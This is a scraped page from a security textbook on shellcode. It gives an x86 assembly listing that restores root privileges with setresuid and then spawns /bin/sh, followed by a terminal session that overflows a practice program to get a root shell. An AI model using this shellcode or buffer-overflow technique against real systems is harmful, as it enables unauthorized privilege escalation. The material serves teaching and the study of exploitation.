26.07.2018 Views

hacking-the-art-of-exploitation

You also want an ePaper? Increase the reach of your titles

YUMPU automatically turns print PDFs into web optimized ePapers that Google loves.

int setresuid(uid_t ruid, uid_t euid, uid_t suid);<br />

int setresgid(gid_t rgid, gid_t egid, gid_t sgid);<br />

DESCRIPTION<br />

setresuid() sets <strong>the</strong> real user ID, <strong>the</strong> effective user ID, and <strong>the</strong> saved<br />

set-user-ID <strong>of</strong> <strong>the</strong> current process.<br />

The following shellcode makes a call to setresuid() before spawning <strong>the</strong><br />

shell to restore root privileges.<br />

priv_shell.s<br />

BITS 32<br />

; setresuid(uid_t ruid, uid_t euid, uid_t suid);<br />

xor eax, eax ; Zero out eax.<br />

xor ebx, ebx ; Zero out ebx.<br />

xor ecx, ecx ; Zero out ecx.<br />

xor edx, edx ; Zero out edx.<br />

mov al, 0xa4 ; 164 (0xa4) for syscall #164<br />

int 0x80<br />

; setresuid(0, 0, 0) Restore all root privs.<br />

; execve(const char *filename, char *const argv [], char *const envp[])<br />

xor eax, eax ; Make sure eax is zeroed again.<br />

mov al, 11 ; syscall #11<br />

push ecx<br />

; push some nulls for string termination.<br />

push 0x68732f2f ; push "//sh" to <strong>the</strong> stack.<br />

push 0x6e69622f ; push "/bin" to <strong>the</strong> stack.<br />

mov ebx, esp ; Put <strong>the</strong> address <strong>of</strong> "/bin//sh" into ebx via esp.<br />

push ecx<br />

; push 32-bit null terminator to stack.<br />

mov edx, esp ; This is an empty array for envp.<br />

push ebx<br />

; push string addr to stack above null terminator.<br />

mov ecx, esp ; This is <strong>the</strong> argv array with string ptr.<br />

int 0x80<br />

; execve("/bin//sh", ["/bin//sh", NULL], [NULL])<br />

This way, even if a program is running under lowered privileges when it’s<br />

exploited, <strong>the</strong> shellcode can restore <strong>the</strong> privileges. This effect is demonstrated<br />

below by exploiting <strong>the</strong> same program with dropped privileges.<br />

reader@<strong>hacking</strong>:~/booksrc $ nasm priv_shell.s<br />

reader@<strong>hacking</strong>:~/booksrc $ export SHELLCODE=$(cat priv_shell)<br />

reader@<strong>hacking</strong>:~/booksrc $ ./getenvaddr SHELLCODE ./drop_privs<br />

SHELLCODE will be at 0xbffff9bf<br />

reader@<strong>hacking</strong>:~/booksrc $ ./drop_privs $(perl -e 'print "\xbf\xf9\xff\xbf"x40')<br />

sh-3.2# whoami<br />

root<br />

sh-3.2# id<br />

uid=0(root) gid=999(reader)<br />

groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),104(scan<br />

ner),112(netdev),113(lpadmin),115(powerdev),117(admin),999(reader)<br />

sh-3.2#<br />

Shellcode 301

Hooray! Your file is uploaded and ready to be published.

Saved successfully!

Ooh no, something went wrong!